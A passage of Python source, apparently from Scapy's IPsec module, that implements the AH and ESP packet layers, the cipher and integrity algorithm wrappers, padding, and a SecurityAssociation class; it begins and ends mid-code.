socket.IPPROTO_AH},\n        IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH},\n        IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH},\n    }\n\n\nbind_layers(IP, AH, proto=socket.IPPROTO_AH)\nbind_layers(IPv6, AH, nh=socket.IPPROTO_AH)\nbind_layers(AH, IP, nh=socket.IPPROTO_IP)\nbind_layers(AH, IPv6, nh=socket.IPPROTO_IPV6)\n\n###############################################################################\n\n\nclass ESP(Packet):\n    \"\"\"\n    Encapsulated Security Payload\n\n    See https://tools.ietf.org/rfc/rfc4303.txt\n    \"\"\"\n    name = 'ESP'\n\n    fields_desc = [\n        XIntField('spi', 0x00000001),\n        IntField('seq', 0),\n        XStrField('data', None),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            if len(_pkt) >= 4 and struct.unpack(\"!I\", _pkt[0:4])[0] == 0x00:\n                return NON_ESP\n            elif len(_pkt) == 1 and struct.unpack(\"!B\", _pkt)[0] == 0xff:\n                return NAT_KEEPALIVE\n            else:\n                return ESP\n        return cls\n\n    overload_fields = {\n        IP: {'proto': socket.IPPROTO_ESP},\n        IPv6: {'nh': socket.IPPROTO_ESP},\n        IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP},\n        IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP},\n        IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP},\n    }\n\n\nclass NON_ESP(Packet):  # RFC 3948, section 2.2\n    fields_desc = [\n        XIntField(\"non_esp\", 0x0)\n    ]\n\n\nclass NAT_KEEPALIVE(Packet):  # RFC 3948, section 2.2\n    fields_desc = [\n        XByteField(\"nat_keepalive\", 0xFF)\n    ]\n\n\nbind_layers(IP, ESP, proto=socket.IPPROTO_ESP)\nbind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP)\n\n# NAT-Traversal encapsulation\nbind_bottom_up(UDP, ESP, dport=4500)\nbind_bottom_up(UDP, ESP, sport=4500)\nbind_top_down(UDP, ESP, dport=4500, sport=4500)\nbind_top_down(UDP, NON_ESP, dport=4500, sport=4500)\nbind_top_down(UDP, NAT_KEEPALIVE, dport=4500, sport=4500)\n\n###############################################################################\n\n\nclass _ESPPlain(Packet):\n    \"\"\"\n    Internal class to represent unencrypted ESP packets.\n    \"\"\"\n    name = 'ESP'\n\n    fields_desc = [\n        XIntField('spi', 0x0),\n        IntField('seq', 0),\n\n        StrField('iv', ''),\n        PacketField('data', '', Raw),\n        StrField('padding', ''),\n\n        ByteField('padlen', 0),\n        ByteEnumField('nh', 0, IP_PROTOS),\n        StrField('icv', ''),\n    ]\n\n    def data_for_encryption(self):\n        return raw(self.data) + self.padding + struct.pack(\"BB\", self.padlen, self.nh)  # noqa: E501\n\n\n###############################################################################\nif conf.crypto_valid:\n    from cryptography.exceptions import InvalidTag\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives.ciphers import (\n        aead,\n        Cipher,\n        algorithms,\n        modes,\n    )\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\n\n    # cryptography's TripleDES can be used to simulate DES behavior\n    DES = lambda key: decrepit_algorithms.TripleDES(key * 3)\n    DES.key_sizes = decrepit_algorithms.TripleDES.key_sizes\n    DES.block_size = decrepit_algorithms.TripleDES.block_size\nelse:\n    log_loading.info(\"Can't import python-cryptography v2.0+. \"\n                     \"Disabled IPsec encryption/authentication.\")\n    default_backend = None\n    InvalidTag = Exception\n    Cipher = algorithms = modes = DES = None\n\n###############################################################################\n\n\ndef _lcm(a, b):\n    \"\"\"\n    Least Common Multiple between 2 integers.\n    \"\"\"\n    if a == 0 or b == 0:\n        return 0\n    else:\n        return abs(a * b) // gcd(a, b)\n\n\nclass CryptAlgo(object):\n    \"\"\"\n    IPsec encryption algorithm\n    \"\"\"\n\n    def __init__(self, name, cipher, mode, block_size=None, iv_size=None,\n                 key_size=None, icv_size=None, salt_size=None, format_mode_iv=None):  # noqa: E501\n        \"\"\"\n        :param name: the name of this encryption algorithm\n        :param cipher: a Cipher module\n        :param mode: the mode used with the cipher module\n        :param block_size: the length a block for this algo. Defaults to the\n                           `block_size` of the cipher.\n        :param iv_size: the length of the initialization vector of this algo.\n                        Defaults to the `block_size` of the cipher.\n        :param key_size: an integer or list/tuple of integers. If specified,\n                         force the secret keys length to one of the values.\n                         Defaults to the `key_size` of the cipher.\n        :param icv_size: the length of the Integrity Check Value of this algo.\n                         Used by Combined Mode Algorithms e.g. GCM\n        :param salt_size: the length of the salt to use as the IV prefix.\n                          Usually used by Counter modes e.g. CTR\n        :param format_mode_iv: function to format the Initialization Vector\n                               e.g. handle the salt value\n                               Default is the random buffer from `generate_iv`\n        \"\"\"\n        self.name = name\n        self.cipher = cipher\n        self.mode = mode\n        self.icv_size = icv_size\n\n        self.is_aead = False\n        # If using cryptography.hazmat.primitives.cipher.aead\n        self.ciphers_aead_api = False\n\n        if modes:\n            if self.mode is not None:\n                self.is_aead = issubclass(self.mode,\n                                          modes.ModeWithAuthenticationTag)\n            elif self.cipher in (aead.AESGCM, aead.AESCCM,\n                                 aead.ChaCha20Poly1305):\n                self.is_aead = True\n                self.ciphers_aead_api = True\n\n        if block_size is not None:\n            self.block_size = block_size\n        elif cipher is not None:\n            self.block_size = cipher.block_size // 8\n        else:\n            self.block_size = 1\n\n        if iv_size is None:\n            self.iv_size = self.block_size\n        else:\n            self.iv_size = iv_size\n\n        if key_size is not None:\n            self.key_size = key_size\n        elif cipher is not None:\n            self.key_size = tuple(i // 8 for i in cipher.key_sizes)\n        else:\n            self.key_size = None\n\n        if salt_size is None:\n            self.salt_size = 0\n        else:\n            self.salt_size = salt_size\n\n        if format_mode_iv is None:\n            self._format_mode_iv = lambda iv, **kw: iv\n        else:\n            self._format_mode_iv = format_mode_iv\n\n    def check_key(self, key):\n        \"\"\"\n        Check that the key length is valid.\n\n        :param key:    a byte string\n        \"\"\"\n        if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size):  # noqa: E501\n            raise TypeError('invalid key size %s, must be %s' %\n                            (len(key), self.key_size))\n\n    def generate_iv(self):\n        \"\"\"\n        Generate a random initialization vector.\n        \"\"\"\n        # XXX: Handle counter modes with real counters? RFCs allow the use of\n        # XXX: random bytes for counters, so it is not wrong to do it that way\n        return os.urandom(self.iv_size)\n\n    @crypto_validator\n    def new_cipher(self, key, mode_iv, digest=None):\n        \"\"\"\n        :param key:     the secret key, a byte string\n        :param mode_iv: the initialization vector or nonce, a byte string.\n                        Formatted by `format_mode_iv`.\n        :param digest:  also known as tag or icv. A byte string containing the\n                        digest of the encrypted data. Only use this during\n                        decryption!\n\n        :returns:    an initialized cipher object for this algo\n        \"\"\"\n        if self.is_aead and digest is not None:\n            # With AEAD, the mode needs the digest during decryption.\n            return Cipher(\n                self.cipher(key),\n                self.mode(mode_iv, digest, len(digest)),\n                default_backend(),\n            )\n        else:\n            return Cipher(\n                self.cipher(key),\n                self.mode(mode_iv),\n                default_backend(),\n            )\n\n    def pad(self, esp):\n        \"\"\"\n        Add the correct amount of padding so that the data to encrypt is\n        exactly a multiple of the algorithm's block size.\n\n        Also, make sure that the total ESP packet length is a multiple of 4\n        bytes.\n\n        :param esp:    an unencrypted _ESPPlain packet\n\n        :returns:    an unencrypted _ESPPlain packet with valid padding\n        \"\"\"\n        # 2 extra bytes for padlen and nh\n        data_len = len(esp.data) + 2\n\n        # according to the RFC4303, section 2.4. Padding (for Encryption)\n        # the size of the ESP payload must be a multiple of 32 bits\n        align = _lcm(self.block_size, 4)\n\n        # pad for block size\n        esp.padlen = -data_len % align\n\n        # Still according to the RFC, the default value for padding *MUST* be an  # noqa: E501\n        # array of bytes starting from 1 to padlen\n        # TODO: Handle padding function according to the encryption algo\n        esp.padding = struct.pack(\"B\" * esp.padlen, *range(1, esp.padlen + 1))\n\n        # If the following test fails, it means that this algo does not comply\n        # with the RFC\n        payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2\n        if payload_len % 4 != 0:\n            raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.')  # noqa: E501\n\n        return esp\n\n    def encrypt(self, sa, esp, key, icv_size=None, esn_en=False, esn=0):\n        \"\"\"\n        Encrypt an ESP packet\n\n        :param sa:   the SecurityAssociation associated with the ESP packet.\n        :param esp:  an unencrypted _ESPPlain packet with valid padding\n        :param key:  the secret key used for encryption\n        :param icv_size: the length of the icv used for integrity check\n        :esn_en:     extended sequence number enable which allows to use 64-bit\n                     sequence number instead of 32-bit when using an AEAD\n                     algorithm\n        :esn:        extended sequence number (32 MSB)\n        :return:    a valid ESP packet encrypted with this algorithm\n        \"\"\"\n        if icv_size is None:\n            icv_size = self.icv_size if self.is_aead else 0\n        data = esp.data_for_encryption()\n\n        if self.cipher:\n            mode_iv = self._format_mode_iv(algo=self, sa=sa, iv=esp.iv)\n            aad = None\n            if self.is_aead:\n                if esn_en:\n                    aad = struct.pack('!LLL', esp.spi, esn, esp.seq)\n                else:\n                    aad = struct.pack('!LL', esp.spi, esp.seq)\n            if self.ciphers_aead_api:\n                # New API\n                if self.cipher == aead.AESCCM:\n                    cipher = self.cipher(key, tag_length=icv_size)\n                else:\n                    cipher = self.cipher(key)\n                if self.name == 'AES-NULL-GMAC':\n                    # Special case for GMAC (rfc 4543 sect 3)\n                    data = data + cipher.encrypt(mode_iv, b\"\", aad + esp.iv + data)\n                else:\n                    data = cipher.encrypt(mode_iv, data, aad)\n            else:\n                cipher = self.new_cipher(key, mode_iv)\n                encryptor = cipher.encryptor()\n\n                if self.is_aead:\n                    encryptor.authenticate_additional_data(aad)\n                    data = encryptor.update(data) + encryptor.finalize()\n                    data += encryptor.tag[:icv_size]\n                else:\n                    data = encryptor.update(data) + encryptor.finalize()\n\n        return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data)\n\n    def decrypt(self, sa, esp, key, icv_size=None, esn_en=False, esn=0):\n        \"\"\"\n        Decrypt an ESP packet\n\n        :param sa: the SecurityAssociation associated with the ESP packet.\n        :param esp: an encrypted ESP packet\n        :param key: the secret key used for encryption\n        :param icv_size: the length of the icv used for integrity check\n        :param esn_en: extended sequence number enable which allows to use\n                       64-bit sequence number instead of 32-bit when using an\n                       AEAD algorithm\n        :param esn: extended sequence number (32 MSB)\n        :returns: a valid ESP packet encrypted with this algorithm\n        :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check\n            fails with an AEAD algorithm\n        \"\"\"\n        if icv_size is None:\n            icv_size = self.icv_size if self.is_aead else 0\n\n        iv = esp.data[:self.iv_size]\n        data = esp.data[self.iv_size:len(esp.data) - icv_size]\n        icv = esp.data[len(esp.data) - icv_size:]\n\n        if self.cipher:\n            mode_iv = self._format_mode_iv(sa=sa, iv=iv)\n            aad = None\n            if self.is_aead:\n                if esn_en:\n                    aad = struct.pack('!LLL', esp.spi, esn, esp.seq)\n                else:\n                    aad = struct.pack('!LL', esp.spi, esp.seq)\n            if self.ciphers_aead_api:\n                # New API\n                if self.cipher == aead.AESCCM:\n                    cipher = self.cipher(key, tag_length=icv_size)\n                else:\n                    cipher = self.cipher(key)\n                try:\n                    if self.name == 'AES-NULL-GMAC':\n                        # Special case for GMAC (rfc 4543 sect 3)\n                        data = data + cipher.decrypt(mode_iv, icv, aad + iv + data)\n                    else:\n                        data = cipher.decrypt(mode_iv, data + icv, aad)\n                except InvalidTag as err:\n                    raise IPSecIntegrityError(err)\n            else:\n                cipher = self.new_cipher(key, mode_iv, icv)\n                decryptor = cipher.decryptor()\n\n                if self.is_aead:\n                    # Tag value check is done during the finalize method\n                    decryptor.authenticate_additional_data(aad)\n                try:\n                    data = decryptor.update(data) + decryptor.finalize()\n                except InvalidTag as err:\n                    raise IPSecIntegrityError(err)\n\n        # extract padlen and nh\n        padlen = orb(data[-2])\n        nh = orb(data[-1])\n\n        # then use padlen to determine data and padding\n        padding = data[len(data) - padlen - 2: len(data) - 2]\n        data = data[:len(data) - padlen - 2]\n\n        return _ESPPlain(spi=esp.spi,\n                         seq=esp.seq,\n                         iv=iv,\n                         data=data,\n                         padding=padding,\n                         padlen=padlen,\n                         nh=nh,\n                         icv=icv)\n\n###############################################################################\n# The names of the encryption algorithms are the same than in scapy.contrib.ikev2  # noqa: E501\n# see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml\n\n\nCRYPT_ALGOS = {\n    'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0),\n}\n\nif algorithms:\n    CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC',\n                                       cipher=algorithms.AES,\n                                       mode=modes.CBC)\n    _aes_ctr_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv + b'\\x00\\x00\\x00\\x01'  # noqa: E501\n    CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR',\n                                       cipher=algorithms.AES,\n                                       mode=modes.CTR,\n                                       block_size=1,\n                                       iv_size=8,\n                                       salt_size=4,\n                                       format_mode_iv=_aes_ctr_format_mode_iv)\n    _salt_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv\n    CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM',\n                                       cipher=aead.AESGCM,\n                                       key_size=(16, 24, 32),\n                                       mode=None,\n                                       salt_size=4,\n                                       block_size=1,\n                                       iv_size=8,\n                                       icv_size=16,\n                                       format_mode_iv=_salt_format_mode_iv)\n    # GMAC: rfc 4543, \"companion to the AES Galois/Counter Mode ESP\"\n    # This is defined as a crypt_algo by rfc, but has the role of an auth_algo\n    CRYPT_ALGOS['AES-NULL-GMAC'] = CryptAlgo('AES-NULL-GMAC',\n                                             cipher=aead.AESGCM,\n                                             key_size=(16, 24, 32),\n                                             mode=None,\n                                             salt_size=4,\n                                             block_size=1,\n                                             iv_size=8,\n                                             icv_size=16,\n                                             format_mode_iv=_salt_format_mode_iv)\n    CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM',\n                                       cipher=aead.AESCCM,\n                                       mode=None,\n                                       key_size=(16, 24, 32),\n                                       block_size=1,\n                                       iv_size=8,\n                                       salt_size=3,\n                                       icv_size=16,\n                                       format_mode_iv=_salt_format_mode_iv)\n    CRYPT_ALGOS['CHACHA20-POLY1305'] = CryptAlgo('CHACHA20-POLY1305',\n                                                 cipher=aead.ChaCha20Poly1305,\n                                                 mode=None,\n                                                 key_size=32,\n                                                 block_size=1,\n                                                 iv_size=8,\n                                                 salt_size=4,\n                                                 icv_size=16,\n                                                 format_mode_iv=_salt_format_mode_iv)  # noqa: E501\n\n    # Using a TripleDES cipher algorithm for DES is done by using the same 64\n    # bits key 3 times\n    CRYPT_ALGOS['DES'] = CryptAlgo('DES',\n                                   cipher=DES,\n                                   mode=modes.CBC,\n                                   key_size=(8,))\n    CRYPT_ALGOS['3DES'] = CryptAlgo('3DES',\n                                    cipher=decrepit_algorithms.TripleDES,\n                                    mode=modes.CBC)\n    if decrepit_algorithms is algorithms:\n        # cryptography < 43 raises a DeprecationWarning\n        from cryptography.utils import CryptographyDeprecationWarning\n        with warnings.catch_warnings():\n            # Hide deprecation warnings\n            warnings.filterwarnings(\"ignore\",\n                                    category=CryptographyDeprecationWarning)\n            CRYPT_ALGOS['CAST'] = CryptAlgo('CAST',\n                                            cipher=decrepit_algorithms.CAST5,\n                                            mode=modes.CBC)\n            CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish',\n                                                cipher=decrepit_algorithms.Blowfish,\n                                                mode=modes.CBC)\n    else:\n        CRYPT_ALGOS['CAST'] = CryptAlgo('CAST',\n                                        cipher=decrepit_algorithms.CAST5,\n                                        mode=modes.CBC)\n        CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish',\n                                            cipher=decrepit_algorithms.Blowfish,\n                                            mode=modes.CBC)\n\n\n###############################################################################\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives.hmac import HMAC\n    from cryptography.hazmat.primitives.cmac import CMAC\n    from cryptography.hazmat.primitives import hashes\nelse:\n    # no error if cryptography is not available but authentication won't be supported  # noqa: E501\n    HMAC = CMAC = hashes = None\n\n###############################################################################\n\n\nclass IPSecIntegrityError(Exception):\n    \"\"\"\n    Error risen when the integrity check fails.\n    \"\"\"\n    pass\n\n\nclass AuthAlgo(object):\n    \"\"\"\n    IPsec integrity algorithm\n    \"\"\"\n\n    def __init__(self, name, mac, digestmod, icv_size, key_size=None):\n        \"\"\"\n        :param name: the name of this integrity algorithm\n        :param mac: a Message Authentication Code module\n        :param digestmod: a Hash or Cipher module\n        :param icv_size: the length of the integrity check value of this algo\n        :param key_size: an integer or list/tuple of integers. If specified,\n                         force the secret keys length to one of the values.\n                         Defaults to the `key_size` of the cipher.\n        \"\"\"\n        self.name = name\n        self.mac = mac\n        self.digestmod = digestmod\n        self.icv_size = icv_size\n        self.key_size = key_size\n\n    def check_key(self, key):\n        \"\"\"\n        Check that the key length is valid.\n\n        :param key:    a byte string\n        \"\"\"\n        if self.key_size and len(key) not in self.key_size:\n            raise TypeError('invalid key size %s, must be one of %s' %\n                            (len(key), self.key_size))\n\n    @crypto_validator\n    def new_mac(self, key):\n        \"\"\"\n        :param key:    a byte string\n        :returns:       an initialized mac object for this algo\n        \"\"\"\n        if self.mac is CMAC:\n            return self.mac(self.digestmod(key), default_backend())\n        else:\n            return self.mac(key, self.digestmod(), default_backend())\n\n    def sign(self, pkt, key, esn_en=False, esn=0):\n        \"\"\"\n        Sign an IPsec (ESP or AH) packet with this algo.\n\n        :param pkt:    a packet that contains a valid encrypted ESP or AH layer\n        :param key:    the authentication key, a byte string\n        :param esn_en: extended sequence number enable which allows to use\n                       64-bit sequence number instead of 32-bit\n        :param esn: extended sequence number (32 MSB)\n\n        :returns: the signed packet\n        \"\"\"\n        if not self.mac:\n            return pkt\n\n        mac = self.new_mac(key)\n\n        if pkt.haslayer(ESP):\n            mac.update(bytes(pkt[ESP]))\n            if esn_en:\n                # RFC4303 sect 2.2.1\n                mac.update(struct.pack('!L', esn))\n            pkt[ESP].data += mac.finalize()[:self.icv_size]\n\n        elif pkt.haslayer(AH):\n            mac.update(bytes(zero_mutable_fields(pkt.copy(), sending=True)))\n            if esn_en:\n                # RFC4302 sect 2.5.1\n                mac.update(struct.pack('!L', esn))\n            pkt[AH].icv = mac.finalize()[:self.icv_size]\n\n        return pkt\n\n    def verify(self, pkt, key, esn_en=False, esn=0):\n        \"\"\"\n        Check that the integrity check value (icv) of a packet is valid.\n\n        :param pkt:    a packet that contains a valid encrypted ESP or AH layer\n        :param key:    the authentication key, a byte string\n        :param esn_en: extended sequence number enable which allows to use\n                       64-bit sequence number instead of 32-bit\n        :param esn: extended sequence number (32 MSB)\n\n        :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check\n            fails\n        \"\"\"\n        if not self.mac or self.icv_size == 0:\n            return\n\n        mac = self.new_mac(key)\n\n        pkt_icv = 'not found'\n\n        if isinstance(pkt, ESP):\n            pkt_icv = pkt.data[len(pkt.data) - self.icv_size:]\n            clone = pkt.copy()\n            clone.data = clone.data[:len(clone.data) - self.icv_size]\n            mac.update(bytes(clone))\n            if esn_en:\n                # RFC4303 sect 2.2.1\n                mac.update(struct.pack('!L', esn))\n\n        elif pkt.haslayer(AH):\n            if len(pkt[AH].icv) != self.icv_size:\n                # Fill padding since we know the actual icv_size\n                pkt[AH].padding = pkt[AH].icv[self.icv_size:]\n                pkt[AH].icv = pkt[AH].icv[:self.icv_size]\n            pkt_icv = pkt[AH].icv\n            clone = zero_mutable_fields(pkt.copy(), sending=False)\n            mac.update(bytes(clone))\n            if esn_en:\n                # RFC4302 sect 2.5.1\n                mac.update(struct.pack('!L', esn))\n\n        computed_icv = mac.finalize()[:self.icv_size]\n\n        # XXX: Cannot use mac.verify because the ICV can be truncated\n        if pkt_icv != computed_icv:\n            raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' %\n                                      (pkt_icv, computed_icv))\n\n###############################################################################\n# The names of the integrity algorithms are the same than in scapy.contrib.ikev2  # noqa: E501\n# see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml\n\n\nAUTH_ALGOS = {\n    'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0),\n}\n\nif HMAC and hashes:\n    # XXX: NIST has deprecated SHA1 but is required by RFC7321\n    AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96',\n                                          mac=HMAC,\n                                          digestmod=hashes.SHA1,\n                                          icv_size=12)\n    AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128',\n                                          mac=HMAC,\n                                          digestmod=hashes.SHA256,\n                                          icv_size=16)\n    AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192',\n                                          mac=HMAC,\n                                          digestmod=hashes.SHA384,\n                                          icv_size=24)\n    AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256',\n                                          mac=HMAC,\n                                          digestmod=hashes.SHA512,\n                                          icv_size=32)\n    # XXX:Flagged as deprecated by 'cryptography'. Kept for backward compat\n    AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96',\n                                         mac=HMAC,\n                                         digestmod=hashes.MD5,\n                                         icv_size=12)\nif CMAC and algorithms:\n    AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96',\n                                         mac=CMAC,\n                                         digestmod=algorithms.AES,\n                                         icv_size=12,\n                                         key_size=(16,))\n\n###############################################################################\n\n\ndef split_for_transport(orig_pkt, transport_proto):\n    \"\"\"\n    Split an IP(v6) packet in the correct location to insert an ESP or AH\n    header.\n\n    :param orig_pkt: the packet to split. Must be an IP or IPv6 packet\n    :param transport_proto: the IPsec protocol number that will be inserted\n                            at the split position.\n    :returns: a tuple (header, nh, payload) where nh is the protocol number of\n             payload.\n    \"\"\"\n    # force resolution of default fields to avoid padding errors\n    header = orig_pkt.__class__(raw(orig_pkt))\n    next_hdr = header.payload\n    nh = None\n\n    if header.version == 4:\n        nh = header.proto\n        header.proto = transport_proto\n        header.remove_payload()\n        del header.chksum\n        del header.len\n\n        return header, nh, next_hdr\n    else:\n        found_rt_hdr = False\n        prev = header\n\n        # Since the RFC 4302 is vague about where the ESP/AH headers should be\n        # inserted in IPv6, I chose to follow the linux implementation.\n        while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)):  # noqa: E501\n            if isinstance(next_hdr, IPv6ExtHdrHopByHop):\n                pass\n            if isinstance(next_hdr, IPv6ExtHdrRouting):\n                found_rt_hdr = True\n            elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr:\n                break\n\n            prev = next_hdr\n            next_hdr = next_hdr.payload\n\n        nh = prev.nh\n        prev.nh = transport_proto\n        prev.remove_payload()\n        del header.plen\n\n        return header, nh, next_hdr\n\n\n###############################################################################\n# see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers\nIMMUTABLE_IPV4_OPTIONS = (\n    0,  # End Of List\n    1,  # No OPeration\n    2,  # Security\n    5,  # Extended Security\n    6,  # Commercial Security\n    20,  # Router Alert\n    21,  # Sender Directed Multi-Destination Delivery\n)\n\n\ndef zero_mutable_fields(pkt, sending=False):\n    \"\"\"\n    When using AH, all \"mutable\" fields must be \"zeroed\" before calculating\n    the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields.\n\n    :param pkt: an IP(v6) packet containing an AH layer.\n                NOTE: The packet will be modified\n    :param sending: if true, ipv6 routing headers will not be reordered\n    \"\"\"\n\n    if pkt.haslayer(AH):\n        pkt[AH].icv = b\"\\x00\" * len(pkt[AH].icv)\n    else:\n        raise TypeError('no AH layer found')\n\n    if pkt.version == 4:\n        # the tos field has been replaced by DSCP and ECN\n        # Routers may rewrite the DS field as needed to provide a\n        # desired local or end-to-end service\n        pkt.tos = 0\n        # an intermediate router might set the DF bit, even if the source\n        # did not select it.\n        pkt.flags = 0\n        # changed en route as a normal course of processing by routers\n        pkt.ttl = 0\n        # will change if any of these other fields change\n        pkt.chksum = 0\n\n        immutable_opts = []\n        for opt in pkt.options:\n            if opt.option in IMMUTABLE_IPV4_OPTIONS:\n                immutable_opts.append(opt)\n            else:\n                immutable_opts.append(Raw(b\"\\x00\" * len(opt)))\n        pkt.options = immutable_opts\n\n    else:\n        # holds DSCP and ECN\n        pkt.tc = 0\n        # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98]\n        # was potentially mutable. To retain compatibility with existing AH\n        # implementations, the flow label is not included in the ICV in AHv2.\n        pkt.fl = 0\n        # same as ttl\n        pkt.hlim = 0\n\n        next_hdr = pkt.payload\n\n        while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)):  # noqa: E501\n            if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)):\n                for opt in next_hdr.options:\n                    if opt.otype & 0x20:\n                        # option data can change en-route and must be zeroed\n                        opt.optdata = b\"\\x00\" * opt.optlen\n            elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending:\n                # The sender must order the field so that it appears as it\n                # will at the receiver, prior to performing the ICV computation.  # noqa: E501\n                next_hdr.segleft = 0\n                if next_hdr.addresses:\n                    final = next_hdr.addresses.pop()\n                    next_hdr.addresses.insert(0, pkt.dst)\n                    pkt.dst = final\n            else:\n                break\n\n            next_hdr = next_hdr.payload\n\n    return pkt\n\n###############################################################################\n\n\nclass SecurityAssociation(object):\n    \"\"\"\n    This class is responsible of \"encryption\" and \"decryption\" of IPsec packets.  # noqa: E501\n    \"\"\"\n\n    SUPPORTED_PROTOS = (IP, IPv6)\n\n    def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None,\n                 crypt_icv_size=None,\n                 auth_algo=None, auth_key=None,\n                 tunnel_header=None, nat_t_header=None, esn_en=False, esn=0):\n        \"\"\"\n        :param proto: the IPsec proto to use (ESP or AH)\n        :param spi: the Security Parameters Index of this SA\n        :param seq_num: the initial value for the sequence number on encrypted\n                        packets\n        :param crypt_algo: the encryption algorithm name (only used with ESP)\n        :param crypt_key: the encryption key (only used with ESP)\n        :param crypt_icv_size: change the default size of the crypt_algo\n                               (only used with ESP)\n        :param auth_algo: the integrity algorithm name\n        :param auth_key: the integrity key\n        :param tunnel_header: an instance of a IP(v6) header that will be used\n                              to encapsulate the encrypted packets.\n        :param nat_t_header: an instance of a UDP header that will be used\n                             for NAT-Traversal.\n        :param esn_en: extended sequence number enable which allows to use\n                       64-bit sequence number instead of 32-bit when using an\n                       AEAD algorithm\n        :param esn: extended sequence number (32 MSB)\n        \"\"\"\n\n        if proto not in {ESP, AH, ESP.name, AH.name}:\n            raise ValueError(\"proto must be either ESP or AH\")\n        if isinstance(proto, str):\n            self.proto = {ESP.name: ESP, AH.name: AH}[proto]\n        else:\n            self.proto = proto\n\n        self.spi = spi\n        self.seq_num = seq_num\n        self.esn_en = esn_en\n        # Get Extended Sequence (32 MSB)\n        self.esn = esn\n        if crypt_algo:\n            if crypt_algo not in CRYPT_ALGOS:\n                raise TypeError('unsupported encryption algo %r, try %r' %\n                                (crypt_algo, list(CRYPT_ALGOS)))\n            self.crypt_algo = CRYPT_ALGOS[crypt_algo]\n\n            if crypt_key:\n                salt_size = self.crypt_algo.salt_size\n                self.crypt_key = crypt_key[:len(crypt_key) - salt_size]\n                self.crypt_salt = crypt_key[len(crypt_key) - salt_size:]\n            else:\n                self.crypt_key = None\n                self.crypt_salt = None\n\n        else:\n            self.crypt_algo = CRYPT_ALGOS['NULL']\n            self.crypt_key = None\n            self.crypt_salt = None\n        self.crypt_icv_size = crypt_icv_size\n\n        if auth_algo:\n            if auth_algo not in AUTH_ALGOS:\n                raise TypeError('unsupported integrity algo %r, try %r' %\n                                (auth_algo, list(AUTH_ALGOS)))\n            self.auth_algo = AUTH_ALGOS[auth_algo]\n            self.auth_key = auth_key\n        else:\n            self.auth_algo = AUTH_ALGOS['NULL']\n            self.auth_key = None\n\n        if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)):\n            raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name))  # noqa: E501\n        self.tunnel_header = tunnel_header\n\n        if nat_t_header:\n            if proto is not ESP:\n                raise TypeError('nat_t_header is only allowed with ESP')\n            if not isinstance(nat_t_header, UDP):\n                raise TypeError('nat_t_header must be %s' % UDP.name)\n        self.nat_t_header = nat_t_header\n\n    def check_spi(self, pkt):\n        if pkt.spi != self.spi:\n            raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' %\n                            (pkt.spi, self.spi))\n\n    def _encrypt_esp(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None):\n\n        if iv is None:\n            iv = self.crypt_algo.generate_iv()\n        else:\n            if len(iv) != self.crypt_algo.iv_size:\n                raise TypeError('iv length must be %s' % self.crypt_algo.iv_size)  # noqa: E501\n\n        esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv)\n\n        if self.tunnel_header:\n            tunnel = self.tunnel_header.copy()\n\n            if tunnel.version == 4:\n                del tunnel.proto\n                del tunnel.len\n                del tunnel.chksum\n            else:\n                del tunnel.nh\n                del tunnel.plen\n\n            pkt = tunnel.__class__(raw(tunnel / pkt))\n\n        ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP)\n        esp.data = payload\n        esp.nh = nh\n\n        esp = self.crypt_algo.pad(esp)\n        esp = self.crypt_algo.encrypt(self, esp, self.crypt_key,\n                                      